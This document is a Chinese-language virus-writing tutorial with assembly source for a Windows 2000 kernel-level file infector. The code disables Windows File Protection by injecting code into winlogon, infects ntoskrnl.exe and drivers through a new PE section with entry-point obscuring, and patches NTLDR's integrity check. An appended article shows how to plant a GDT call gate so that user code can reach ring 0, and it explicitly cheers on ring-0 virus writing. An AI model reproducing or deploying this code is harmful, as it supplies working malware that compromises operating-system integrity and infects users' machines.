Kernel Model Virus Class One::感染Ntoskrnl.exe和驱动的方法

by vxk

Kernel Model Virus Class

序言
众所周知,驱动和Ntoskrnl.exe是Windows2k(本文以Win2k为类)的重要组成。
因为只要病毒跟内核(驱动层)扯上关系,马上就能引起轰动(CIH,CheXp,YM),所
以为了避免很多麻烦本文过了1年才与各位观众见面(<THE ART OF MUTE>等了2年
才出现在人类面前)。
Kernel Model Virus Class One::
本文介绍的病毒是一个Ring3+ring0的EXE形式的病毒,如果是Sys形式的病毒的话
A部分可以略去......(SYS形式不做讨论,但可以从参考文献中获得一些信息)
A.干掉WFP的方法
不论要感染什么,只要和Win2k的重要部分有关,WFP这个麻烦就会出现.....
所以要XXXXXXX,就一定要干掉WFP!!!!!!!
干掉WFP的方法我觉得Benny的方法不错....
详细代码::
SFCPatch Proc Vxk:Ptr RemoteProcpara
pushad
Call GetUU
GetUU:
pop ebp
lea ebp,[ebp-offset GetUU]
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
call @n
dd ?
@n: mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
Call dword ptr [VXK]._VirtualProtect
jmp SFCMainPatch
exception_handler:
popad
xor eax,eax
ret

set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
SFCMainPatch:
@pushsz ‘sfc.dll‘
call Dword ptr [VXK]._GetMoudleHandleA ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi

mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch
db 85h,0C0h
db 0Fh,8Ch,0F1h,00h,00h,00h
db 0Fh,84h,0EBh,00h,00h,00h
db 3Dh,02h,01h,00h,00h
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh

got_addr:
call e_next

s_next: push 0 ;"patch" code
call Dword ptr [VXK]._ExitThread

e_next: pop edi
xchg esi,edi
add edi,6
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code

end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit


SFCPatch_End:

SFCPatch Endp

;in eax=hprocess;esi,edi
RT_THeard Proc
hProcessA DD ?
mov dword ptr [ebp+hProcessA],eax
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push eax
call dword ptr [ebp+_VirtualAllocEx] ;aloc there a memory
test eax,eax
je err_rcr
xchg eax,ebx
mov [ebp+virus_base],ebx
push 0
push edi
push esi
push ebx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_WriteProcessMemory] ;write there our code
dec eax
jne free_mem
lea ecx,[ebp+tmp]
;pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
;if(!pRemotePara)return 0;
;if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push size [ebp+VX]
push 0
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_VirtualAllocEx]
push 0
push size [ebp+VX]
push [ebp+VX]
push eax
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_WriteProcessMemory]
push edx
push edx
push edx
push ebx
push edx
push edx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_CreateRemoteThread] ;run remote thread!
push eax
call dword ptr [ebp+_CloseHandle]
err_rcr:jmp end_Sub
free_mem:
push MEM_RELEASE
push 0
push ebx
push dword ptr [ebp+hProcessA]
call dword ptr [ebp+_VirtualFreeEx] ;free memory
jmp end_Sub
end_Sub:
pushad
popad
retn
RT_THeard Endp


ScanOurEnmy Proc
hprocessF dd ?
push eax
push 0
push 43Ah
Call dword ptr [ebp+_OpenProcess]
mov dword ptr [ebp+hprocessF],eax
ppname db MAX_PATH dup (?)
push MAX_PATH
push dword ptr [ebp+ppname]
push 0
push dword ptr [ebp+hprocessF]
Call dword ptr [ebp+_GetModuleFileNameExA]
mov edi,dword ptr [ebp+ppname]
mov ebx,edi
verif "Winlogo.exe"
;verif macro verifname,empty
; local name
; ifnb <empty>
; %out too much arguments in macro ‘nxt_instr‘
; .err
; endif
; call name
; db verifname,0
; name:
; push ebx
; CALL dword ptr [ebp+_lstrstr]
; test eax,eax
;endm
jnz Install_SFCPatch
jmp end_ap1
Install_SFCPatch:
lea esi,[ebp+SFCPatch]
mov edi,SFCPatch_End-SFCPatch
mov eax,dword ptr [ebp+hprocessF]
Call RT_THeard
Call NT_BootPatch
end_ap1:call dword ptr [ebp+_CloseHandle]
end_ap:
retn
ScanOurEnmy EndP



WFP2k proc
WFP:
pushad
call getwfpdelta
getwfpdelta:
pop ebp
lea ebp,[ebp-offset getwfpdelta]
mainloop:
call getwfpapiz ;获得我们要的Apis,详细代码和有关定义省略了...
call dword ptr [ebp+_GetCurrentProcess]
lea ecx,[ebp+p_token]
push ecx
push 20h
push eax
call dword ptr [ebp+_OpenProcessToken]
dec eax
jne err_ap
lea ecx,[ebp+p_luid]
push ecx
@pushsz ‘SeDebugPrivilege‘
push eax call dword ptr [ebp+_LookupPrivilegeValueA]
dec eax
jne err_ap
lea ecx,[ebp+token_priv]
push eax
push eax
push 10h
push ecx
push eax
push dword ptr [ebp+p_token]
Call dword ptr [ebp+_AdjustTokenPrivileges]
pushad
lea esi,[ebp + procz]
lea eax,[ebp + tmp]
push eax
push 80h
push esi
Call dword ptr [ebp+_EnumProcesses]
dec eax
jne Fuck_Stop
add esi,4
jmp p_search
p_search:
lodsd
test eax,eax
je Fuck_Stop
call ScanOurEnmy
jmp p_search
Fuck_Stop:
popad
retn
WFP2k Endp


data_table=$
RemoteProcpara STRUCT
_GetCurrentProcessID dd ?
_DebugActiveProcess dd ?
_WaitForDebugEvent dd ?
_GetThreadContext dd ?
_WriteProcessMemory dd ?
_SetThreadContext dd ?
_ContinueDebugEvent dd ?
_GetProcAddress dd ?
_GetModuleHandleA dd ?
_LoadLibraryAA dd ?
_VirtualProtect dd ?
_ExitThread dd ?
RemoteProcpara ends
token_priv dd 1
p_luid dq ?
dd 2
procz dd MAX_PATH dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
VX RemoteProcpara <?>
MyName Max_path dup(0)
Data_table_end=$
B.获得Ntoskrnl.exe的内存地址

如果感染了驱动或者Ntoskrnl.exe,那么就必须得到Ntoskrnl.exe的内存位置才能得到kapiz来使用,这里给出两种方法::
一种是Sys形式的专用的动态的,一种是EXE形式的——感染时的静态定位(Win2k中Ntoskrnl.exe的地址在同一台机器上每次相同...)

Sys形式::
MmIsAddressValid proc lAddress:dword
;用于判断一个地址是否存在....
pushad
mov ecx,lAddress
mov eax, ecx
shr eax, 14h
mov edx, 0FFCh
and eax, edx ;offset in PageDirectoryEntry
sub eax, 3FD00000h;add eax,0c0300000h
mov eax, [eax]
test al, 1
jz AddressInValid
test al, al
js AddressValid
shr ecx, 0Ah
and ecx, 3FFFFCh;offset in PageTableEntry
sub ecx, 40000000h;add ecx,0c0000000h
mov eax, [ecx]
test al, 1
jz AddressInValid
test al, al
js @f
AddressValid:
popad
mov eax,1
ret 04h
AddressInValid:
popad
xor eax,eax
ret 04h
@@:
and ecx, edx
mov eax, [ecx-3FD00000h]
and ax, 81h
cmp al, 81h
jnz AddressValid
jmp AddressInValid
MmIsAddressValid endp

GetKernelBase proc uses esi edi dwKernelRet:DWORD
LOCAL dwReturn: DWORD
mov dwReturn,1
mov edi, dwKernelRet ; edi = 堆栈顶
repp:
push edi
call MmIsAddressValid
cmp eax,1
jnz adda
cmp word ptr [edi],IMAGE_DOS_SIGNATURE ; 等于“MZ”吗?
jz getp
getp:
mov esi, edi ; Yes, next...
add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch
push esi
call MmIsAddressValid
cmp eax,1
jnz adda
cmp word ptr [esi],IMAGE_NT_SIGNATURE ; 等于“PE”吗?
jz find
find:
mov dwReturn, edi ; Yes, we got it.
jmp endpp
adda:
add edi,001000h
cmp edi,80501000h ; 基地址非3G模式一般不可能大于80500000h
jz end
jmp repp
endpp:
mov eax, dwReturn
add esp,4*1
ret 4
GetKernelBase endp

;Use::用法
;Ring0Vstart:
;pushad
;push 80400000h
;Call GetKernelBase
;cmp eax,1
;jnz my_virusbegin;去做我们的事情
;jmp ret_file ;返回被感染的文件..

EXE形式::
SystemModuleInformation equ 11
PVOID TYPEDEF DWORD
UNLONG TYPEDEF DWORD
CHAR TYPEDEF BYTE
STATUS_SUCCESS =0
SYSTEM_MODULE_INformATION STRUCT
Reserved ULONG 2 DUP(?)
Base PVOID ?
SysModSize ULONG ?
Flags ULONG ?
Index USHORT ?
Unknown USHORT ?
LoadCount USHORT ?
ModuleNameOffset USHORT ?
ImageName CHAR 256 DUP(?)
SYSTEM_MODULE_INformATION ENDS


.data
_ZwQuerySystemInformation dd ?
ntoskrnl ULONG ?
_VirtualAlloc dd ?
_VirtualFree dd ?
ntos db "ntoskrnl.exe",0

.code
FindNtoskrnl proc uses ebx esi edi
local n:UNLONG
local q:dword
findit:
pushad
call getmeedp
getmeebp:
pop ebp
lea ebp,[ebp-offset getmeebp]
call getuseapiz;获得要用的Apiz...
realfindproc:
xor eax,eax
mov n,eax
mov q,eax
lea esi,n
push esi
push 0
push esi
push 11
call dword ptr[ebp+_ZwQuerySystemInformation]
call [ebp+_VirtualAlloc],NULL,n,MEM_COMMIT,PAGE_READWRITE
or eax,eax
jz Exit
mov q,eax
mov esi,eax
push 0
push n
push esi
push 11
call dword ptr[ebp+_ZwQuerySystemInformation]
cmp eax,STATUS_SUCCESS
jnz Exit
mov edx,esi
add edx,4
mov ecx,dword ptr[esi]
xor ebx,ebx
sub edx,sizeof SYSTEM_MODULE_INformATION
@@:
add edx,sizeof SYSTEM_MODULE_INformATION
cmp ebx,ecx
inc ebx
ja Exit
assume edx:ptr SYSTEM_MODULE_INformATION
lea edi,[edx].ImageName
movzx eax,[edx].ModuleNameOffset
add edi,eax
mov eax,dword ptr[ebp+ntos]
cld
scasd
jnz @b
mov eax,dword ptr[ebp+ntos+4]
scasd
jnz @b
mov eax,[edx].Base;
assume edx:nothing
push eax
call [ebp+_VirtualFree],q,n,MEM_RELEASE
;free(q);
pop eax
ret
;return ntoskrnl;
Exit:
mov edx,q
test edx,edx
jz @f
call [ebp+_VirtualFree],q,n,MEM_RELEASE
@@:
xor eax,eax
mov eax,1
ret
FindNtoskrnl endp
;USE::
;用法
;Call FindNtoskrnl
;cmp eax,1
;jnz findok;找到了开始工作
;jmp no_as;失败,放弃这次感染...
C.EXE形式的Ring3层感染的代码
在C部分结束之后,我们已经得到了Ntoskrnl的内存地址并去处了该死的WFP,现在我们开始感染驱动文件吧,
为了方便感染Ntoskrnl和驱动使用相同的插入代码,我们采用EPO的方式......
假设病毒用于rING0的代码开始为KRNLStart,病毒开始代码为Vstart,结束出为VEND,则病毒感染实现的代码为::
;本代码基于PKXP的EPO程序,我的那个烂的EPO不适合用于教学...
;这个代码可以感染Ring3/ring0程序!!
;Entry::
; EBP=Delta
; [ebp+FileName]=The Name of the file which u want to infect
;
InfectFile:
pushad
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push [ebp+FileName]
call dword ptr [ebp+_CreateFileA]
cmp eax,INVALID_HANDLE_value
jz IF_Exit
mov [ebp+hfile],eax

xor edi , edi ;节约空间
push edi
push edi
push edi
push PAGE_READWRITE
push edi
push [ebp+hfile]
call dword ptr [ebp+_CreateFileMappingA]
or eax,eax
jz IF_F3
mov [ebp+hMapping] , eax

push edi ;edi=0
push edi
push edi
push FILE_MAP_READ+FILE_MAP_WRITE
push [ebp+hMapping]
call dword ptr [ebp+_MapViewOfFile]
or eax,eax
jz IF_F2
mov [ebp+pMapping],eax
mov esi,eax

assume esi:ptr IMAGE_DOS_HEADER
cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
jnz IF_F1
cmp [esi].e_lfarlc,040h
jnz IF_F1

add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
cmp [esi].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗?
jnz IF_F1
xor eax,eax
cmp [esi].OptionalHeader.Subsystem,8
jnz set_ring3_file
jmp set_ring0_file
set_ring3_file:
cmp [esi].OptionalHeader.Subsystem,2
jnz IF_F1
mov eax,1
mov [ebp+isnt],eax
set_ring0_file:
mov [ebp+isnt],eax
MakeCheck:
push esi
lea ebx,[esi].OptionalHeader.CheckSum
mov ecx,[ebx]
jecxz no_checksum
mov dword ptr [ebx],0 ;zero the checksum
push [ebp+fsize]
push [ebp+hfile]
Call dword ptr [ebp+_GetFileSize]
mov ecx,[ebp+fsize];the file size
add ecx,offset VEND-offset Vstart;the file size after infect
push ecx
push [ebp+hfile]
call CheckSumFile
mov dword ptr [ebx],eax
no_checksum:
cmp word ptr [esi+1ah],INF_SIGNE ;检查感染标志
jz IF_F1
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
add eax,[esi].OptionalHeader.ImageBase
movzx eax,[esi].FileHeader.NumberOfSections
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
add eax,sizeof IMAGE_NT_HEADERS
add eax,esi
mov edi,eax
add eax,sizeof IMAGE_SECTION_HEADER
sub eax,[ebp+pMapping]
cmp eax,[esi].OptionalHeader.SizeOfHeaders
ja IF_F1

;*****************************************
;空间允许, ^0^,edi指向新节
;*****************************************

inc [esi].FileHeader.NumberOfSections

assume edi:ptr IMAGE_SECTION_HEADER
mov dword ptr[edi],‘suedomsa.‘ ;Name::Asmodeus-->某个语言的恶魔

push offset VEnd - offset VStart
pop [edi].Misc.VirtualSize ;VirtualSize

push [esi].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress ;VirtualAddress

mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax ;SizeOfRawData

lea eax,[edi-28h+14h] ;prev PointerToRawData
mov eax,[eax]
lea ecx,[edi-28h+10h] ;prev SizeOfRawData
add eax,[ecx]
mov [edi].PointerToRawData,eax ;PointerToRawData
mov [edi].Characteristics,0E0000020h ;可读可写可执行


;***************************************************************
;更新SizeOfImage,使新节可以正确加载并首先执行
;***************************************************************

mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[esi].OptionalHeader.SizeOfImage
mov [esi].OptionalHeader.SizeOfImage,eax
mov word ptr [esi+1ah],INF_Sign ;写入感染标志

mov [ebp+pNTHeader],esi ;esi -> IMAGE_NT_HEADER
mov ebx,edi
mov eax,[ebp+isnt]
mov edi,[ebx].PointerToRawData
cmp eax,1
jnz Nt_krnl_set
jmp common_set
Nt_krnl_set:

add [ebx].PointerToRawData,offset KRNLStart - offset Vstart
Common_set:

mov [ebp+pNewSection],ebx ; edi -> new Section
xor ebx,ebx
call SimpleEPO
push FILE_BEGIN
push 0
push edi
push [ebp+hfile]
call dword ptr [ebp+_SetFilePointer]

;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
push 0
lea eax,[ebp+ByteWrite]
push eax
push [edi].SizeOfRawData
push [ebp+VStart]
push [ebp+hfile]
call dword ptr [ebp+_WriteFile]

IF_F1:
push [ebp+pMapping]
call dword ptr [ebp+_UnmapViewOfFile]
IF_F2:
push [ebp+hMapping]
call dword ptr [ebp+_CloseHandle]
IF_F3:
push [ebp+hfile]
call dword ptr [ebp+_CloseHandle]
IF_Exit:
popad
ret

;---------------------------------StartEPO------------------------------
;入口参数: pNewSection : 新添加节(病毒节)的指针
; pNTHeader : 文件IMAGE_NT_HEADER的指针
; [ebp+pMapping] : 文件指针
;拷贝JMP DWORD PTR [YYYYYYYY]中的YY…到Ret2ApiCall.
;--------------------------------------------------------------------------
SimpleEPO:
pushad
mov edx , [ebp+pNTHeader]
add edx , sizeof IMAGE_NT_HEADERS
assume edx : ptr IMAGE_SECTION_HEADER

mov ecx , [edx].SizeOfRawData
mov edi , [edx].PointerToRawData
add edi , [ebp+pMapping] ;Now edi = .text 的在文件中的偏移

@SearchE8:
mov al , 0e8h
repne scasb ;search for call xxxxxxxx
mov esi , edi ;edi - > xxxxxxxx 而不是 e8 xx xx xx xx.
lodsd ;search call relative
add esi , eax ;esi - > JMP DWORD PTR [YYYYYYYY]
lodsw
cmp ax , 025ffh ;esi - > YYYYYYYY
jnz @SearchE8
inc ebx ;纪录是第几个Jmp/call
cmp ebx,20h ;如果是第32个,那么开始工作....避免感染Ntoskrnl时,系统初始化失败...
jnz @SearchE8

PatchCALLandCopyJMP:
mov eax , [edx].VirtualAddress ;.text VirtualAddress
add eax , edi
sub eax , [ebp+pMapping]
sub eax , [edx].PointerToRawData ;eax contains VA of CALL XXXXXXXX
add eax , 4 ;sizeof(CALL xxxxxxxx) – sizeof(0E8h)
mov edx , [ebp+pNewSection]
mov edx , [edx].VirtualAddress
xchg eax , edx
sub eax , edx ;get new XXXXXXXX
stosd
mov edi , [ebp+Ret2ApiCall] ;write YYYYYYYY
lodsd
stosd
popad
ret


CheckSumFile PROC USES esi ecx edx lpFile:DWORD, dwFileLen:DWORD
push esi
push ecx
push edx
xor edx, edx
mov esi, lpFile
mov ecx, dwFileLen
shr ecx, 1
@CSumLoop:
movzx eax, word ptr [esi]
add edx, eax
mov eax, edx
and edx, 0ffffh
shr eax, 10h
add edx, eax
add esi, 2
loop @CSumLoop
mov eax, edx
shr eax, 10h
add ax, dx
add eax, dwFileLen
pop edx
pop ecx
pop esi
ret 08h
CheckSumFile ENDP

C+.更改NTLDR
OpenFile proc p_Filename:dword
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push p_Filename
call [ebp+_CreateFile]
ret 04h
OpenFile Endp

MapFile proc filehandle:dword
xor eax,eax
push eax
push eax
push eax
push PAGE_READWRITE
push eax
push filehandle
call [ebp+_CreateFileMapping]
ret 04h
MapFile Endp

ViewMap Proc maphandle:dword
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_ALL_ACCESS
push maphandle
call [ebp+_MapViewOfFile]
ret 04h
ViewMap Endp

Alloc proc imageSize:dword
xor eax,eax
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push imageSize
push eax
call [ebp+_VirtualAlloc]
ret 04h
Alloc endp


PatchFile PROC p_Filename : DWORD, p_PatchAddr : DWORD, p_PatchSize : DWORD

LOCAL p_FileHandle : DWORD, /
p_FileSize : DWORD, /
p_MapHandle : DWORD


push p_Filename
call OpenFile

cmp eax,-1
jz short PA_Exit

mov p_FileHandle,eax

push 00
push eax
call [ebp+_GetFileSize]

mov p_FileSize,eax

push p_FileHandle
call MapFile

or eax,eax
jz short PA_CloseFile

mov p_MapHandle,eax

push eax
call ViewMap

or eax,eax
jz short PA_CloseMap

mov edx,eax

mov edi,eax
mov esi,p_PatchAddr
mov ecx,p_FileSize

PA_00:

push ecx
push esi
push edi
mov ecx,p_PatchSize
repz cmpsb
pop edi
pop esi
pop ecx
jz short PA_01
inc edi
loop PA_00

jmp short PA_Unmap

PA_01:

mov ecx,p_PatchSize
add esi,ecx
repz movsb

PA_Unmap:

push edx
call [ebp+_UnmapViewOfFile]

PA_CloseMap:

push p_MapHandle
call [ebp+_CloseHandle]

PA_CloseFile:

push p_FileHandle
call [ebp+_CloseHandle]

PA_Exit:
ret 3*4h
PatchFile ENDP
NTPatch_Table=$
NTLDR db ‘NTLDR‘,0

NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
db 3Bh,46,58,0EBh,07 ; patch

W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07

NTPatch_Table_len=$-NTPatch_Table

;Example
;lea eax,[ebp+NTLDR]
;lea ebx,[ebp+NT4_NTLDR]
;pushad
;push 05h
;push ebx
;push eax
;Call PatchFile
;popad
;lea ebx,[ebp+W2k_NTLDR]
;push 05h
;push ebx
;push eax
;call PatchFile
;popad
D.参考文献
用汇编写个最小的WDM驱动程序进RING0
by Mgf
在WINDOWS 2000/XP/2003里进入RING0是很多人的梦想,但实现这个梦想并不容易,
因为基于NT内核的 WINDOWS 2000/XP/2003对自己保护得非常好,这与WINDOWS 9X
有很大不同,WINDOWS 9X的GDT,IDT,LDT等重要的系统表格是可以被RING3的代码
轻易修改的,因此在WINDOWS 9X里任何程序都可以在GDT,IDT,LDT里构造自己的
调用门/中断门/陷阱门而进入RING0。在WINDOWS 2000/XP/2003里似乎只有写驱动
才能进入RING0了,当然还可以利用系统漏洞进入RING0,本人就发现了2个漏洞可
进入RING0,但本文只讨论写驱动的方式。

现在介绍用汇编语言写普通WINDOWS应用程序的书也不少,用汇编语言写WINDOWS
程序的程序员也越来越多,但遗憾的是这些书介绍的程序都是运行在RING3上的,
我等技术追求者怎能受制于RING3而无所作为?为了写出令人惊叹的程序(比如病毒,
反病毒,防火墙等等),就必须要进入RING0。但是有关用汇编语言写WDM驱动程序
的书和例子非常少,我找到的绝大多数都是用C写的,而且编译也很麻烦,对于汇编
语言这种最适合写系统程序的语言来说是很遗憾的。为此我特意用我所知道的知识
写出本文,意在抛砖引玉,共同进步。

好了,先来看看下面的例子:

.586p
.model flat,stdcall
option casemap:none


.code
start:
nop
nop
nop
nop

pushfd
pushad

push edx
sgdt [esp-2]
pop edx
mov eax,edx
mov ecx,3e0h

.if dword ptr [edx+ecx+2]!=0ec0003e8h
mov byte ptr [edx],0c3h

mov word ptr [edx+ecx],ax
shr eax,16
mov word ptr [edx+ecx+6],ax
mov dword ptr [edx+ecx+2],0ec0003e8h

mov dword ptr [edx+ecx+8],0000ffffh
mov dword ptr [edx+ecx+12],00cf9a00h
.endif

popad
popfd

xor eax,eax
ret 8


end start


把以上的汇编代码保存到文件mywdm.asm,然后用MASM 6.14按照下面的方法编译:

ml /c /coff /Cp mywdm.asm
link /subsystem:windows /driver:wdm /release /out:mywdm.sys mywdm.obj

就会在当前目录下生成一个mywdm.sys文件,这是一个没有导入导出和资源的纯代码
驱动程序,非常短小精悍。如果导入了ntoskrnl.exe和hal.dll里的函数,或者导出
给别人调用的函数,它将是一个功能全面的WDM驱动。

mywdm.sys的功能是在GDT中创建一个3级调用门和一个0级32位代码段描述符,3级调用
门的选择子是3E3,0级32位代码段的选择子是3E8。

好了,现在执行mywdm.sys,但驱动程序是不能直接执行的,所以要构造它的执行环境。
先在注册表HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services中建立一个mywdm
子键,然后建立3个DWORD型的键值:
ErrorControl=0
Start=3 (如果Start=1,mywdm.sys会随电脑启动而自动装入)
Type=1

再把mywdm.sys复制到system32/drivers目录里,然后重新启动(好象不重新启动也可以,
对这个我不太清楚),运行net start mywdm,结果屏幕上显示:

“发生系统错误 1058。

无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。”

如果你轻信微软的这句话的话,你就到此为止了!别被微软欺骗,因为我们的代码已经
执行过了,3级调用门和0级32位代码段描述符已经被建立在GDT中,而错误提示是在我们
的代码执行后弹出来的,此时不管是成功提示还是错误提示对我们来说都已太晚了。不信,
你可以用SOFT ICE看一看GDT就知道我所言不虚!如果Start=1,系统不会提示错误而运行
mywdm.sys。

好了,既然GDT中已经有了我们的调用门,那么意味着我们写的应用程序可以自由地在
RING3和RING0之间切换,但如何使用这个调用门还是有讲究的,它的使用方法是:

...

call 3e3:00000000 ;机器码 9A 00 00 00 00 E3 03
;此时已经进入RING0,CS=3E8,跟着要切换堆栈
mov eax,esp
mov esp,[esp+4]
push eax

;这里加入你要在RING0里执行的代码

;准备返回RING3
pop esp
push offset ring3
retf
ring3:
;此时回到RING3

...

为什么要切换堆栈?为什么要建立我们自己的0级32位代码段?直接使用操作系统的0级32位
代码段(选择子=8)不可以吗?在这里我要说明一下:WINDOWS 2000/XP/2003对自己保护得
非常好,就算普通应用程序能进入RING0,但还是在用户区(代码和数据的地址都小于80000000H),
所以WINDOWS 2000/XP/2003会认为是非法进入RING0的,就有可能产生页故障,表现是调用子程序
或访问内存时就会触发页故障,解决的方法是切换堆栈;不用操作系统的0级32位代码段(选择子
为8),用我们建立的0级32位代码段(选择子=3E8)。

本文例子生成的mywdm.sys大小是1536字节,如果你对PE文件很了解,可以手工给mywdm.sys减肥,
但要注意的是减肥后要把正确的CHECKSUM值填入PE头的CHECKSUM字段中,否则操作系统是不会装入
mywdm.sys执行的。我就把mywdm.sys减肥到只有368字节(只有DOS头,PE头+节表,60H字节的重定
位表和代码,应该是世界上最小的驱动程序了)。完全可以把这个只有368字节的驱动程序包含在
自己的程序中,在需要是把它还原到SYSTEM32/DRIVERS目录里。

计算CHECKSUM的方法是:把PE文件的所有字用ADC相加,然后得到的结果再和文件大小ADC相加,
这个结果就是CHECKSUM值。网上也可以找到计算CHECKSUM的工具。

RING3测试程序如下:
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
includelib /masm32/lib/kernel32.lib

.data
szExceptionCaused db "Exception Caused - could not switch to ring 0",0
szError db "Error",0
MsgCaption db " Test",0
MsgBoxText db "cr0=%8x",0
tmp db 50 dup(90)
Callgt dd 0
dw 3e3h

.code
ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP

start:
push offset ExceptCallBack
call SetUnhandledExceptionFilter
call fword ptr [Callgt] ;use callgate to Ring0!

Ring0:
mov eax,esp ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax

mov eax,cr0

pop esp ;restore ring0 esp
push offset Ring3
retf
Ring3:
invoke wsprintfA,addr tmp,addr MsgBoxText,eax
invoke MessageBox, NULL,addr tmp, addr MsgCaption, MB_OK

Exit:
invoke ExitProcess,NULL

end start
嘿嘿,大家以后就可以方便的写2K/XP/2003下的RING0病毒了。
不重新启动装载.sys的例子:

.586p
.model flat,stdcall
option casemap:none


include windows.inc
include kernel32.inc
include user32.inc
include gdi32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib gdi32.lib
includelib advapi32.lib


.data
szServiceName db ‘mywdm25‘,0 ;只要这个名字不重复,驱动程序装载成功的希望就很大!
szDisplayName db ‘mywdm25 Driver‘,0 ;只要这个名字不重复,驱动程序装载成功的希望就很大!
szFileName db ‘c:/windows/system32/drivers/mywdm.sys‘,0
hSCManager dd 0
hService dd 0


.code
start:
nop
nop
nop
nop

invoke OpenSCManager,0,0,000f000fh
mov hSCManager,eax

;00010030H=SERVICE_START OR SERVICE_STOP OR DELETE的组合码,用SERVICE_ALL_ACCESS
;好象不行
invoke CreateService,eax,offset szServiceName,offset szDisplayName,00010030h,1,1,0,offset szFileName,0,0,0,0,0
mov hService,eax

invoke StartService,eax,0,0


invoke DeleteService,hService

invoke CloseServiceHandle,hService

invoke CloseServiceHandle,hSCManager

invoke ExitProcess,0


end start

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值